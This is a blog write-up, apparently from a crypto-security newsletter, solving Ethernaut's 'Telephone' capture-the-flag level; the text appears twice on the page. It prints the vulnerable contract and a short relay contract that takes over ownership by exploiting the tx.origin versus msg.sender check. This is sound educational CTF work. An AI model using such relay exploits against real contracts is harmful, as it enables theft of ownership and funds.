
OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 15: Preservation
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...
Writing about security, MEV, privacy and decentralized finance

OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 15: Preservation
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...
Writing about security, MEV, privacy and decentralized finance

Subscribe to 0xbanky

Subscribe to 0xbanky
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers
This is my solution to the fourth challenge of ethernaut: https://ethernaut.openzeppelin.com/level/0x0b6F6CE4BCfB70525A31454292017F640C10c768
This problem is for a pretty simple contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
It simply has an owner and a function to change the owner. When we change the owner, we only allow it to get changed if tx.origin is not the current caller of the function. I did not know what tx.origin was, so after some googling I found an answer. It is the first non-contract address that called the function. ie. in a call chain that looks like this:
A → B → C → D
A user A makes a call to contract B, which calls a function on contract C that calls something on contract D. In this chain, if we chack tx.origin on contract D, it will be A . However, the msg.sender will be C.
To solve this problem, I needed to call the changeOwner function through a relay contract. This way, tx.origin will be my wallet, and msg.sender will be the address of the relay contract. I created, compiled and deployed the relay contract using the Remix IDE
pragma solidity ^0.6.0;
contract TelephoneRelay {
function relay () public {
address addr = 0x4F9f093efd94c7b81f954Bd7648805a98b5Ce230;
(bool success, bytes memory result) = addr.call(abi.encodeWithSignature("changeOwner(address)", msg.sender));
require(success, "Relay not successful");
}
}
I got the address of my problem contract and called the changeOwner function with the low level address.call function. More info about that here. Sure enough, the owner was updated with my address. Success!
There is a difference between tx.origin and msg.sender and we have to keep this difference in mind when using tx.origin because we can end up with security holes
This is my solution to the fourth challenge of ethernaut: https://ethernaut.openzeppelin.com/level/0x0b6F6CE4BCfB70525A31454292017F640C10c768
This problem is for a pretty simple contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
It simply has an owner and a function to change the owner. When we change the owner, we only allow it to get changed if tx.origin is not the current caller of the function. I did not know what tx.origin was, so after some googling I found an answer. It is the first non-contract address that called the function. ie. in a call chain that looks like this:
A → B → C → D
A user A makes a call to contract B, which calls a function on contract C that calls something on contract D. In this chain, if we chack tx.origin on contract D, it will be A . However, the msg.sender will be C.
To solve this problem, I needed to call the changeOwner function through a relay contract. This way, tx.origin will be my wallet, and msg.sender will be the address of the relay contract. I created, compiled and deployed the relay contract using the Remix IDE
pragma solidity ^0.6.0;
contract TelephoneRelay {
function relay () public {
address addr = 0x4F9f093efd94c7b81f954Bd7648805a98b5Ce230;
(bool success, bytes memory result) = addr.call(abi.encodeWithSignature("changeOwner(address)", msg.sender));
require(success, "Relay not successful");
}
}
I got the address of my problem contract and called the changeOwner function with the low level address.call function. More info about that here. Sure enough, the owner was updated with my address. Success!
There is a difference between tx.origin and msg.sender and we have to keep this difference in mind when using tx.origin because we can end up with security holes
No activity yet